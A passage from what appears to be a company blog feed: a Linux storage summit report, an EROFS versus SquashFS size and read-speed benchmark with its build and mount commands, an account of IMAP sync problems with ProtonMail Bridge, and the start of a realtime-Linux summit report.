<p>In October 2022 the 5th <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was held.
The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world.
In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2022, perfect weather and the Lizummer Hütte" width="1600" height="1067"></figure>
<h2 id="day-1-its-all-about-hiking--and-food">Day 1: It&rsquo;s all about hiking – and food</h2>
<p>The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).</p>
<h2 id="day-2-storage-mixed-with-good-weather">Day 2: Storage mixed with good weather</h2>
<p>The first round of presentations started with a talk by Richard Weinberger on his efforts to improve <a href="https://lore.kernel.org/linux-nfs/20220217131531.2890-1-richard@nod.at/">NFS re-export</a>. While most ideas to reduce the overhead of file handle wrapping didn&rsquo;t find love because they fix problems that exist only on NFSv3, the suggested approach to fix the ongoing cross-mount issue at least didn&rsquo;t result in rejection.
In the next talk Luis Chamberlain gave an overview of <a href="https://github.com/mcgrof/kdevops">kdevops</a>, <a href="https://github.com/osandov/blktests">blk-</a> and <a href="https://git.kernel.org/pub/scm/fs/xfs/xfstests-dev.git/">fstests</a> where he outlined where to expect determinism and where not. The conses was that testing the kernel is hard and traditional approaches often don&rsquo;t apply.</p>
<p>After a tea break both Alexei Starovoitov and Christoph Hellwig spoke about <a href="https://ebpf.io/">eBPF</a> and how to use it outside of the Linux kernel, for example directly on computational storage devices.
The general conses was that having small programs on network or storage devices makes sense for some workloads - but instead of having eBPF support in hardware it&rsquo;d make more sense to have a tiny CPU on these systems which can run a JIT. eBPF is way too Linux specific and restricted.</p>
<p>The final two presentations of the first day were given by Daniel Wagner and Hannes Reinecke.
Daniel spoke about his ongoing work on <a href="https://github.com/linux-nvme/nvme-cli">libnvme and nvme-cli</a>. Over the last year the userspace tooling around NVMe saw a major cleanup which will hopefully ease further maintenance.
Hannes explored the possibilities on how to have an isolated userspace helper process around which can initiate a <a href="https://lwn.net/Articles/666509/">kTLS</a> session for the kernel when needed. Especially when the root filesystem needs a multipath failover. One promising approach is using Linux&rsquo;s <a href="https://lwn.net/Articles/755919/">usermode driver</a> where the helper program is part of the kernel binary.</p>
<h2 id="day-3-more-storage">Day 3: More Storage</h2>
<p>Despite the early hour the very first presentation of the third day resulted quickly in a heated discussion. Pankaj Raghav gave a talk on how to support <a href="https://lore.kernel.org/linux-nvme/20220923173618.6899-1-p.raghav@samsung.com/">non power of two (npo2) zoned devices</a> in Linux.
While the topic sounds not too scary it caused immediate fear and anger among certain developers.
Currently Linux enforces that zones have power of two sizes. While this is considered as a sane technical decision, no specification enforces this constraint. Therefore some storage vendors expect Linux to support also non power of two sized zones. So far no consent was found on whether supporting npo2 devices is worth the technical burden nor whether there are users in the wild.
Pankaj&rsquo;s presentation was followed by Alex Graf. He discussed the possibilities of having thousands of NVMe disks attached to a single virtual machine. Using more disks per NVMe namespace would allow much more disks but due to shared queues this could cause performance problems. The other option is using NVMe over fabrics. While this scheme allows the needed amount of disk without performance penalties the user experience changes. Instead of having the disks directly attached to the VM, the operating system has to initiate the network attached disks. It was suggested to have single discovery server which helps the operating system finding all targets.</p>
<p>After a short break Paul McKenney presented a new way to work with <a href="http://www.rdrop.com/~paulmck/RCU/">RCU</a>. Instead of having a global grace period were all pending RCU work is waited for, he proposed a way to avoid waiting.
Alexei Starovoitov followed and gave a short presentation on how to use C extensions to catch common programming errors - mostly for use in eBPF.</p>
<p>The final two presentations where held by Tudor Ambarus, Pratyush Yadav and Keith Busch.
Tudor and  Pratyush gave an overview of Linux&rsquo;s <a href="https://www.kernel.org/doc/html/latest/driver-api/mtd/spi-nor.html">SPI-NOR</a> flash framework and their ongoing effort to work with various flash chips that do not follow the specification.
Last but not least, Keith gave insights in various performance improvements for Direct-IO he is currently working on. Especially combined with an IOMMU Linux has plenty of potential for optimizations.</p>
<h2 id="day-4-back-to-reality">Day 4: Back to reality</h2>
<p>Time goes fast when you&rsquo;re having a good time. In a blink it was time to pack our rucksacks again and leave for the valley. To make it a round trip – and be a bit quicker – we took the road down to Lager Walchen. With everybody safe back in lower altitudes, we said our farewells. Again, ALPSS kept what it promised: an ideal mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage, peppered with the stunning panorama of the Tyrolean Alps. Sure thing, we are already looking forward to the next ALPSS.</p>
]]></content:encoded></item><item><title>EROFS vs. SquashFS: A Gentle Benchmark</title><link>https://sigma-star.at/blog/2022/07/squashfs-erofs/</link><pubDate>Thu, 21 Jul 2022 00:00:00 +0200</pubDate><author>David Oberhollenzer</author><guid>https://sigma-star.at/blog/2022/07/squashfs-erofs/</guid><description>&lt;h1 id="erofs-vs-squashfs-a-gentle-benchmark">EROFS vs. SquashFS: A Gentle Benchmark&lt;/h1>
&lt;p>In some specialized applications it can be desirable - or even necessary - to
use an immutable, read-only filesystem. This can be because of the underlying
storage medium, e.g. a live DVD which cannot be altered, or a flash memory
in an embedded system, which degrades with every cycle. An immutable filesystem
also provides a well-known, well-defined and stable state. A state to which one can always
return to with a reboot.&lt;/p></description><content:encoded><![CDATA[<h1 id="erofs-vs-squashfs-a-gentle-benchmark">EROFS vs. SquashFS: A Gentle Benchmark</h1>
<p>In some specialized applications it can be desirable - or even necessary - to
use an immutable, read-only filesystem. This can be because of the underlying
storage medium, e.g. a live DVD which cannot be altered, or a flash memory
in an embedded system, which degrades with every cycle. An immutable filesystem
also provides a well-known, well-defined and stable state. A state to which one can always
return to with a reboot.</p>
<p>A read-only filesystem image technically works more like a random access archive
that is packed <em>once</em>, by something like a Yocto build process. A filesystem
explicitly designed for this use case can provide highly optimized data
structures and compression techniques. Data and meta data can be pre-sorted,
arranged in an optimal fashion, de-duplicated, and so on.</p>
<h4 id="squashfs-the-current-top-dog">SquashFS, the current top dog</h4>
<p>On embedded Linux systems, SquashFS is currently the dominating filesystem for
such applications, having been merged into main line Linux in 2009, superseding
the earlier cramfs. Unlike cramfs, SquashFS supports all the bells and whistles of a
typical filesystem, such as</p>
<ul>
<li>64 bit file and disk image sizes</li>
<li>long path names</li>
<li>extended attributes</li>
<li>NFS export</li>
<li>sparse files</li>
<li>a variety of different data compressors</li>
</ul>
<p>The SquashFS on-disk format
is designed with high data density in mind. File data is compressed in chunks of
typically 128KiB in size (up to 1MiB) with smaller files sharing a block.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Meta data
(e.g. inodes, directory contents) are also compressed in 8KiB chunks. File data,
inodes and directory listings are stored separated from each other. All data
structures are byte aligned and SquashFS even uses variable sized
inodes to squeeze the last remaining bytes out.</p>
<h4 id="the-problem">The problem</h4>
<p>This results in a very compact filesystem image, but comes at the cost of
read speed. The granularity of meta data blocks means that the reader has
a certain amount of overhead data it was not interested in, but still has
to load and unpack. Since the compressed blocks are variable in size, they
practically never align with disk blocks, causing a certain overhead in I/O.
The reader may not even know ahead of time how much data it needs to read,
first having to read a header preceding the variable sized block.</p>
<h4 id="erofs-and-its-advantages">EROFS and its advantages</h4>
<p>In 2019 EROFS was introduced, first available in kernel 5.4. EROFS is also a
compressed, read-only filesystem, but prioritizes read performance in its design.</p>
<p>While SquashFS packs data with a fixed input block size, resulting in variable
sized compressed chunks, EROFS uses <em>fixed output compression</em>. The amount of
input data is allowed to be flexible, but the compressed chunks that are
generated are fixed in size. This allows them to always be ideally aligned
with disk I/O boundaries. The size is always known to the reader and they can be
addressed by index rather than by offset.</p>
<p>In EROFS, data and meta data are also stored interleaved, rather than separated,
allowing for better locality and faster sequential reads in some cases.</p>
<p>To find out how well EROFS does in comparison to SquashFS, we did a size
comparison and read speed benchmark.</p>
<h3 id="benchmark">Benchmark</h3>
<p>For this benchmark, a SquashFS image has been extracted from the Debian 10.2
Xfce live DVD and converted to various other formats. The image from the DVD
is roughly 2GiB in size, using default XZ compression with default 128KiB block
size.</p>
<p>EROFS originally only supported lz4 compression, but recently also added
experimental support for lzma. This currently requires using a custom build
of the also experimental xz-utils 5.3.2 alpha release.</p>
<p>SquashFS also supports lz4 compression. To compare the two, the SquashFS
image was converted using the tar-conversion programs from <code>squashfs-tools-ng</code>:</p>
<pre><code>sqfs2tar debian.sqfs | tar2sqfs -c &lt;compressor&gt; test.sqfs
</code></pre>
<p>For reference, the tarballs with the same compression were also generated this
way, and the <code>tar2sqfs</code> was additionally modified to generate a completely
uncompressed SquashFS image.</p>
<p>For better size comparison and to see the effect of the fixed output
compression, additional SquashFS images were generated with the block size
reduced from 128KiB down to 4KiB, the default output block size of EROFS.</p>
<p>EROFS images were built by unpacking the SquashFS image and then repacking
it using <code>mkfs.erofs</code> from <code>erofs-utils</code>:</p>
<pre><code>fakeroot rdsquashfs -XTCO -u / -p temp/ test.sqfs
fakeroot mkfs.erofs -z&lt;compressor&gt; test.erofs temp/
</code></pre>
<h3 id="image-size-comparison">Image Size Comparison</h3>
<p>Lets take a look at the absolute image sizes first.</p>
<table>
  <thead>
      <tr>
          <th>Compressor</th>
          <th>tar</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>6.5 GiB</td>
          <td>6.1 GiB</td>
          <td>6.1 GiB</td>
          <td>6.4 GiB</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>3.3 GiB</td>
          <td>3.1 GiB</td>
          <td>3.6 GiB</td>
          <td>3.9 GiB</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>2.8 GiB</td>
          <td>2.7 GiB</td>
          <td>3.4 GiB</td>
          <td>3.6 GiB</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>1.7 GiB</td>
          <td>2.0 GiB</td>
          <td>2.6 GiB</td>
          <td>2.7 GiB</td>
      </tr>
  </tbody>
</table>
<ul>
<li>
<p>We see immediately that SquashFS with default settings produces
smaller images than EROFS. By reducing the block size to 4KiB, SquashFS
compression clearly suffers from the reduced window size and the results tend
closer to what EROFS produces, but are still smaller.</p>
</li>
<li>
<p>For the uncompressed case, both SquashFS and EROFS are close,
but a bit smaller than the reference tarball. They both use more compact,
binary data structures than <code>tar</code> and support data deduplication.</p>
</li>
<li>
<p>Moreover EROFS has a little more overhead than SquashFS, since it
uses larger but easier to decode data structures. Plus it cares more about data
alignment for fast read access.</p>
</li>
<li>
<p>For LZ4, SquashFS even beats the compressed tarball, and only in the XZ case,
does stream compression with a big sliding window finally win over the fixed,
128KiB block size.</p>
</li>
<li>
<p>The XZ compressed EROFS is pretty close in size to SquashFS
with 4KiB block size. This is a result of the fixed output compression in
EROFS. It becomes more apparent, if we look at each format <em>relative</em> to its
own uncompressed baseline, giving us a better insight on how effectively each
format makes use of data compression:</p>
</li>
</ul>
<table>
  <thead>
      <tr>
          <th>Compressor</th>
          <th>tar</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>100.0%</td>
          <td>100.0%</td>
          <td>100.0%</td>
          <td>100.0%</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>50.6%</td>
          <td>51.7%</td>
          <td>59.9%</td>
          <td>61.7%</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>42.5%</td>
          <td>44.1%</td>
          <td>56.1%</td>
          <td>57.0%</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>25.3%</td>
          <td>32.1%</td>
          <td>43.3%</td>
          <td>42.7%</td>
      </tr>
  </tbody>
</table>
<p>As we switch to more effective compressors, the gap between SquashFS with 4KiB
block size and EROFS <em>shrinks</em>. That&rsquo;s because for EROFS, better compression means it
can increase the input window size, improving the compression rate.</p>
<h3 id="read-speed-comparison">Read Speed Comparison</h3>
<p>For a speed comparison benchmark, a small Linux 5.19 kernel and busybox based
initrd were built for a Raspberry Pi 3. The filesystem to be tested was
put on a separate ext4 partition on the boot micro SD card. From the busybox shell, the image was then loop mounted and part of its
contents packed into a tarball, causing a tree traversal and access to a
number of files:</p>
<pre><code>mkdir -p /mnt/sdcard/ /mnt/testfs/
mount /dev/mmcblk0p2 /mnt/sdcard/
mount /mnt/sdcard/&lt;testfs&gt; /mnt/testfs/
time /bin/tar cf - /mnt/testfs/usr/bin &gt; /dev/null
</code></pre>
<p>Repeating the last line 5 times (flushing the page cache in between) and
taking the worst case time gives us the following table:</p>
<table>
  <thead>
      <tr>
          <th>Compressor</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>6.75s</td>
          <td>7.60s</td>
          <td>6.38s</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>4.76s</td>
          <td>6.61s</td>
          <td>4.05s</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>4.40s</td>
          <td>6.23s</td>
          <td>3.59s</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>24.81s</td>
          <td>32.44s</td>
          <td>17.71s</td>
      </tr>
  </tbody>
</table>
<p>The I/O performance is a bit easier to visualize and compare, if we divide the
size of the resulting tarball (~125.0 MiB) by the time it took to produce it:</p>
<table>
  <thead>
      <tr>
          <th>Compressor</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>18.5 MiB/s</td>
          <td>16.5 MiB/s</td>
          <td>19.6 MiB/s</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>26.3 MiB/s</td>
          <td>18.9 MiB/s</td>
          <td>30.9 MiB/s</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>28.4 MiB/s</td>
          <td>20.1 MiB/s</td>
          <td>34.8 MiB/s</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>5.0 MiB/s</td>
          <td>3.9 MiB/s</td>
          <td>7.1 MiB/s</td>
      </tr>
  </tbody>
</table>
<ul>
<li>
<p>Going from uncompressed to LZ4 speeds up the operation for all 3 cases.
Increasing the data density with HC mode gives us another speedup. The time
saved by reading less data from the SD card outweighs the time it takes to
recreate it from the compressed form. We can tell that LZ4 decompression
is I/O bound in our test setup.</p>
</li>
<li>
<p>In contrast, with LZMA compression, read speed takes a drastic hit compared to reading
uncompressed data. Unpacking data on the CPU is the bottleneck for all 3 cases.</p>
</li>
</ul>
<h4 id="comparison-with-a-small-block-size">Comparison with a small block size</h4>
<p>By first comparing EROFS against SquashFS taking a 4KiB block size,
EROFS benefits from the aligned reads, besting the read performance
irregardless of the compressor in use. The gain of EROFS over SquashFS even
improves with increasing compression ratio.</p>
<p>This can again be explained with the fixed output compression and alignment.
SquashFS almost never has filesystem blocks aligned with device blocks, so
when reading a block, there is a certain overhead of data that is transferred
but actually belongs to a different block. The I/O transfers from the SD card
are used inefficiently. This is not the case for EROFS, and the fixed output
compression means that improving data density actually improves the utilization
of the device blocks that are read.</p>
<h4 id="increasing-the-block-size">Increasing the block size</h4>
<p>Similarly, we can see SquashFS gaining some performance when increasing the
block size. A lot more files smaller than 128KiB are now packed into
shared &ldquo;fragment blocks&rdquo;. SquashFS internally maintains a cache of 3 fragment
blocks and with a bigger block size we now get more cache hits. For each cache
miss, a much bigger chunk needs to be read from the SD card and the overhead
caused by unaligned reads is now comparatively small.</p>
<h2 id="conclusion">Conclusion</h2>
<p>So, is EROFS a better replacement for SquashFS? It depends.</p>
<p>Data compression is a classic example of a memory vs time trade-off. For
instance, even in our own benchmark we can see that LZMA gives us an
almost 60% reduction in space, but this comes at a performance cost when
unpacking the data again. LZ4 is extremely fast in comparison, but doesn&rsquo;t
get anywhere near that data density.</p>
<p>Likewise, while SquashFS is designed to squeeze every last byte out of a
filesystem, the goal of EROFS is to be fast - <em>despite</em> being compressed,
sacrificing space for speed gains.</p>
<p>According to our benchmark both filesystems do reasonably well in
achieving their respective goals.</p>
<h4 id="recommendations">Recommendations</h4>
<p>If storage space is a concern, it is reasonable to stick with SquashFS. If
file I/O is a bottleneck in your application, EROFS is definitely worth
considering.</p>
<p>Please note that at the time of writing this article, LZMA compression for
EROFS is still considered experimental.</p>
<p>On the EROFS side of things, Zstd might be an interesting compressor to add.
As other SquashFS benchmarks
have shown, Zstd has considerable gains over LZ4 in terms of data density,
but is still a lot faster to unpack than LZMA.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://dr-emann.github.io/squashfs/squashfs.html">https://dr-emann.github.io/squashfs/squashfs.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/AgentD/squashfs-tools-ng/blob/master/doc/benchmark.txt">https://github.com/AgentD/squashfs-tools-ng/blob/master/doc/benchmark.txt</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Our ProtonMail Adventure - A Five Act Drama</title><link>https://sigma-star.at/blog/2022/07/protonmail-adventure/</link><pubDate>Fri, 01 Jul 2022 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/07/protonmail-adventure/</guid><description><![CDATA[<h1 id="our-protonmail-adventure---a-five-act-drama">Our Protonmail Adventure - A Five Act Drama</h1>
<h2 id="1-exposition">1. Exposition</h2>
<p>After many years of running our mail/groupware setup on our own infrastructure we decided
in early 2021 to switch to a hosted solution.
The main reason was time: Everyone in the team is busy with writing or auditing code and
the time left for petting mail servers went close to zero.</p>
<h4 id="the-decision">The Decision</h4>
<p>From the very beginning ProtonMail was on the shortlist because we liked the idea of
having all our mails encrypted on the ProtonMail servers.
Side note: Yes, we knew that ProtonMail can in theory capture our passwords
and decrypt everything.
Some team members have been using it privately too and have been quite happy.
Since ProtonMail now also supports groupware features such as calendar and contacts
we finally decided to give it a try.
At this time we knew already about some limitations, for example, no ProtonMail Calendar App
for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon.
Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped
that those missing features will materialize sooner or later.</p>]]></description><content:encoded><![CDATA[<h1 id="our-protonmail-adventure---a-five-act-drama">Our Protonmail Adventure - A Five Act Drama</h1>
<h2 id="1-exposition">1. Exposition</h2>
<p>After many years of running our mail/groupware setup on our own infrastructure we decided
in early 2021 to switch to a hosted solution.
The main reason was time: Everyone in the team is busy with writing or auditing code and
the time left for petting mail servers went close to zero.</p>
<h4 id="the-decision">The Decision</h4>
<p>From the very beginning ProtonMail was on the shortlist because we liked the idea of
having all our mails encrypted on the ProtonMail servers.
Side note: Yes, we knew that ProtonMail can in theory capture our passwords
and decrypt everything.
Some team members have been using it privately too and have been quite happy.
Since ProtonMail now also supports groupware features such as calendar and contacts
we finally decided to give it a try.
At this time we knew already about some limitations, for example, no ProtonMail Calendar App
for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon.
Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped
that those missing features will materialize sooner or later.</p>
<h2 id="2-rising-action">2. Rising Action</h2>
<h4 id="aliases-with-multiple-recipients">Aliases with multiple recipients</h4>
<p>Right after purchasing a subscription we experienced the first set-back.
Since the very beginning of our company history we have mail aliases such
as office@ or accounting@ which will target multiple recipients.
While ProtonMail supports aliases, it has no support for simple distribution lists.
So having an office@ pointing to multiple mailboxes is not possible.
ProtonMail support confirmed that this feature is not available but might be
implemented eventually in the future.
Teeth-gnashingly we worked around the issue by assigning aliases to only one
recipient each and started forwarding mails manually.</p>
<h4 id="android-app">Android App</h4>
<p>Some of our mailboxes are rather huge, they contain up to 100k mails.
While importing them via IMAP worked well, accessing them for the first time did not.
Especially the ProtonMail App for Android does not like lots of new mail or mails
with a new state. After the initial import the Android App stopped working for more than
two days after finally being able to display mails.
The same problem was also observable after marking a few thousand mails as read.
Another obstacle with the Android App was that frequent changes between WiFi and
cellular network caused an invalid state and the app was unable to fetch new mail.
Erasing all app data resolved the problem in most cases, sometimes only
re-installing the whole app helped.</p>
<h4 id="protonmail-bridge">ProtonMail Bridge</h4>
<p>On our workstations we deployed ProtonMail Bridge so that everyone was able to use
their least hated mail client. The bridge connects to ProtonMail services
and acts as an IMAP service on localhost.
Soon we experienced high CPU usage and stalls of the bridge process.
The CPU usage problem has highly correlated with the used mail client.
Most problems have been observed when KDE Kmail was used.
Our best guess is that Kmail runs many IMAP requests in parallel and triggers
various scaling issues within the bridge. ProtonMail support was unable to help us.
As a workaround some of us started using getmail to fetch mail via IMAP into a
local Maildir and gave Kmail access to it.
With getmail being relatively stupid and strictly single threaded the bridge consumed
much less CPU and showed no stalls.
It turned out that has been the least problem with ProtonMail Bridge.</p>
<h4 id="end-to-end-pgp">End-to-End PGP</h4>
<p>We&rsquo;re heavy users of PGP mail and believe in end-to-end encryption.
While ProtonMail can do PGP for us on the server side, nobody of us would ever
upload their kernel.org PGP private key into ProtonMail.
The server side PGP feature of ProtonMail is nice, as all mails stored on Proton&rsquo;s servers are encrypted, but we&rsquo;re still utilizing PGP with our
own local keys by encrypting mails with GnuPG or similar.
As a consequence mails are double PGP encrypted:</p>
<ol>
<li>First by our local PGP client</li>
<li>Later by ProtonMail on the server side</li>
</ol>
<p>A side effect of this is that the mime content type in mails is changed
from <code>Content-Type: multipart/encrypted</code> to <code>Content-Type: multipart/mixed</code>
which caused problems with various PGP capable mail clients.
To our astonishment we have been told by ProtonMail support that using PGP locally
with ProtonMail is not supported and currently works just by chance.</p>
<h4 id="the-changing-point">The Changing Point</h4>
<p>At this point most of the initial excitement for ProtonMail rendered into depression.
The only hope was that at least some of the problems or missing features we&rsquo;ve encountered will get addressed soon.
But our expectations were low, especially since most answers from ProtonMail support fell into two categories:</p>
<ul>
<li>We don&rsquo;t support this use-case.</li>
<li>Did you try turning it off and on again?</li>
</ul>
<h2 id="3-climax">3. Climax</h2>
<p>With all our workarounds installed we learned to somehow deal with ProtonMail and it
seemed to work rather well. Features were still missing but we hoped
to see some of them implemented soon with some luck.
From time to time one or the other of us noticed something strange.
An IMAP capable mail client decided to re-download the whole mailbox or started to
re-index everything. Most of the time we saw that on mbsync and Kmail.</p>
<h4 id="tipping-point">Tipping point</h4>
<p>On 29.09.2021 the situation changed significantly.
Around 15:00 that day various team members at the company saw strangeness happening
with the ProtonMail Bridge. Kmail all of a sudden re-downloaded a mailbox,
mbsync did a mis-sync and removed local mail, getmail did not download new mail
despite new mail being present, etc.
At this point our fear grew that something wonky was happening at the bridge.</p>
<h4 id="the-uid-problem-of-protonmail-bridge">The UID problem of ProtonMail bridge</h4>
<p>Around the same time Richard was debugging a problem with getmail on IMAP level and later
found that ProtonMail bridge violates the IMAP specification.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>Due to this bug hunt Richard had many IMAP protocol logs of his mailbox and started to
investigate why getmail on his workstation no longer found new mail after 29.09.2021.</p>
<p>At IMAP level every mail has a unique and immutable identifier: the message UID.
getmail keeps a list of downloaded UIDs to know which messages qualify for downloading.
So getmail basically asks the IMAP server for a list of UIDs of a specific mailbox,
compares it to its local list and fetches all mail who&rsquo;s UID is new.
Richard found that getmail did not see new mail because the new mail on the ProtonMail
server side had UIDs which were already in getmails list! By comparing with the protocol logs
before 29.09.2021 we had proof that the very same message all of a sudden had different UIDs.
This explained all the problems we had with various mail clients regarding mail sync.
We immediately reported the problem to the ProtonMail bridge folks and support.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h4 id="the-hack">The Hack</h4>
<p>To be very sure Richard added a hack to his local getmail.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> In addition to the message UID getmail
now also stored the message size in its local state. This allowed detecting UID changes immediately.</p>
<h4 id="sure-thing">Sure Thing</h4>
<p>A few weeks later the problem happened again, getmail detected a UID change.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
At this point it was crystal clear to us that ProtonMail bridge is not trustworthy and can
cause major trouble leading to data loss.</p>
<h2 id="4-falling-action">4. Falling Action</h2>
<p>One would expect that when such a fatal error is reported, developers would react in a reasonable way,
especially when the affected product is something you pay for. But nothing happened for a long time.
In January 2022 ProtonMail Bridge developers kind of agreed that this bug is real and they&rsquo;re basically rewriting it.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>
In the meanwhile other users realized that they&rsquo;re also affected and that it&rsquo;s not a bug in their mail clients.</p>
<p>Around March 2022 there was still no progress with the UID bug nor with any of the missing features.
We had no iOS calendar app, no shared calendar, no distribution lists, nothing.
All we had was a huge pile of <del>wasted time with debugging and reading the source</del> new knowledge and deeper
understanding of IMAP and various mail clients which didn&rsquo;t make use more confident
to use ProtonMail Bridge.
That said, not all problems rooted in ProtonMail Bridge, we fixed also one in getmail.<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
<p>The original plan was to save time by using a hosted service. The move to ProtonMail caused the opposite.</p>
<h2 id="5-resolution">5. Resolution</h2>
<p>Finally we decided to bite the bullet and migrate away from ProtonMail.
We had to accept that it is not a perfect fit for our use-cases.
For others it might work well, but not for us. Maybe it would have been a less painful experience if we didn&rsquo;t depend on the bridge.
But finally we had to give up and move on.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://github.com/ProtonMail/proton-bridge/issues/221">https://github.com/ProtonMail/proton-bridge/issues/221</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/ProtonMail/proton-bridge/issues/220">https://github.com/ProtonMail/proton-bridge/issues/220</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://github.com/richardweinberger/getmail6/commit/3abcceffa253a70e428368ec9e276b0b49058b37">https://github.com/richardweinberger/getmail6/commit/3abcceffa253a70e428368ec9e276b0b49058b37</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-972226749">https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-972226749</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-1007199436">https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-1007199436</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://github.com/getmail6/getmail6/commit/d87d93e1d1bb2550c265a866dda667dde25865d4">https://github.com/getmail6/getmail6/commit/d87d93e1d1bb2550c265a866dda667dde25865d4</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Summit on a Summit 2022 Edition</title><link>https://sigma-star.at/blog/2022/06/summit-summit-2022/</link><pubDate>Mon, 13 Jun 2022 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/06/summit-summit-2022/</guid><description><![CDATA[<h1 id="summit-on-a-summit-2022-edition">Summit on a Summit 2022 Edition</h1>
<p>After a two years long break the <a href="https://summit-summit.org/">Summit on a Summit</a> was back in early June this year.
As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger.
It took place at the <a href="https://www.glungezer.at/">Glungezerhütte</a> at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria.
As usual hot topics around implementing realtime features on Linux were discussed.
Beside of <a href="https://wiki.linuxfoundation.org/realtime/">PREEMPT_RT</a> many of discussions focused this time on <a href="https://xenomai.org/">Xenomai</a>.</p>]]></description><content:encoded><![CDATA[<h1 id="summit-on-a-summit-2022-edition">Summit on a Summit 2022 Edition</h1>
<p>After a two years long break the <a href="https://summit-summit.org/">Summit on a Summit</a> was back in early June this year.
As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger.
It took place at the <a href="https://www.glungezer.at/">Glungezerhütte</a> at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria.
As usual hot topics around implementing realtime features on Linux were discussed.
Beside of <a href="https://wiki.linuxfoundation.org/realtime/">PREEMPT_RT</a> many of discussions focused this time on <a href="https://xenomai.org/">Xenomai</a>.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="Summit on a Summit 2022 Edition" width="1200" height="562"></figure>
<h2 id="good-weather--some-peaks">Good weather &amp; some peaks</h2>
<p>On Friday we met at Innsbruck train station and drove up to Tulfes where we enjoyed a traditional Austrian lunch at the <a href="https://schnaps-brennerei.at/">Tuxerbauer</a>.
